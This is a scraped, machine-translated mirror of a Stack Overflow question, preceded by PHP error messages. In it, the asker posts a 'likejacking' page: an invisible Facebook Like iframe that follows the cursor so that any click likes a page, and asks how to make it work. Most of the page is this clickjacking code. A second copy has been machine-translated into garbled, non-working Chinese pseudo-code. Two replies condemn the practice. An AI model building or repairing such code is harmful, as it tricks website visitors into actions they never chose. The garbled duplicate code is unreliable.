Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/facebook/8.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
PHP脚本自动类似Facebook页面_Php_Facebook - Fatal编程技术网

PHP脚本自动类似Facebook页面

PHP脚本自动类似Facebook页面,php,facebook,Php,Facebook,我想自动喜欢Facebook当点击任何地方或点击这个网站上的图片你会自动喜欢这个页面 我从计算机上复制代码 这是我的密码 <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title></title> <script src="jquery-1.9.1.js" type="text/javascript"></sc

我想自动喜欢Facebook当点击任何地方或点击这个网站上的图片你会自动喜欢这个页面

我从计算机上复制代码

这是我的密码

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title></title>
  <script src="jquery-1.9.1.js" type="text/javascript"></script>
  <script type="text/javascript">
    var interval = 0;
    function updateActiveElement() {
      if($(document.activeElement).attr('id') == "fb-iframe") {
        clearInterval(interval);
        bodyClicked = true;
      }
    }
    $(function() {
      interval = setInterval("updateActiveElement();", 50);
    });
  </script>
</head>
<body>
  <center>
    <h1>Click anywhere on this site you will automatically like this page</h1>
  </center>
  <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
    <iframe src="http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/GeeKhmer[/COLOR]&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fb-iframe" name="fb-iframe">
    </iframe>
  </div>

  <script type="text/javascript">
    var bodyClicked = false;
    var iframeWrapper = document.getElementById('iframe-wrapper');
    var standardBody=(document.compatMode=="CSS1Compat") ? document.documentElement : document.body 

    function mouseFollower(e) {
      // for internet explorer
      if (window.event) { 
        iframeWrapper.style.top = (window.event.y-5)+standardBody.scrollTop+'px';
        iframeWrapper.style.left = (window.event.x-5)+standardBody.scrollLeft+'px';
      }
      else {
        iframeWrapper.style.top = (e.pageY-5)+'px';
        iframeWrapper.style.left = (e.pageX-5)+'px';
      }
    }
    document.onmousemove = function(e) {
      if(bodyClicked == false) {
        mouseFollower(e);
      }
    }
  </script>
</body>
</html>

var区间=0;
函数updateActiveElement(){
if($(document.activeElement).attr('id')==“fb iframe”){
间隔时间;
bodyClicked=true;
}
}
$(函数(){
interval=setInterval(“updateActiveElement();”,50);
});
单击此网站上的任意位置,您将自动喜欢此页面
var=false;
var iframewapper=document.getElementById('iframe-wrapper');
var standardBody=(document.compatMode==“CSS1Compat”)?document.documentElement:document.body
功能鼠标如下(e){
//用于internet explorer
if(window.event){
iframeWrapper.style.top=(window.event.y-5)+standardBody.scrollTop+'px';
iframeWrapper.style.left=(window.event.x-5)+standardBody.scrollLeft+'px';
}
否则{
iframeWrapper.style.top=(e.pageY-5)+'px';
iframeWrapper.style.left=(e.pageX-5)+'px';
}
}
document.onmousemove=函数(e){
如果(bodyClicked==false){
鼠标器(e);
}
}
但它不起作用,我怎样才能让这个登录工作?
:)谢谢你,请不要这样做。这是违反政策的,垃圾邮件、烦人的访客和您的页面将被阻止。

抱歉,但我们不会在stackoverflow上讨论非法内容。你应该为自己试图做这样的事情感到羞耻,这被称为“点击劫持”或“类似劫持”。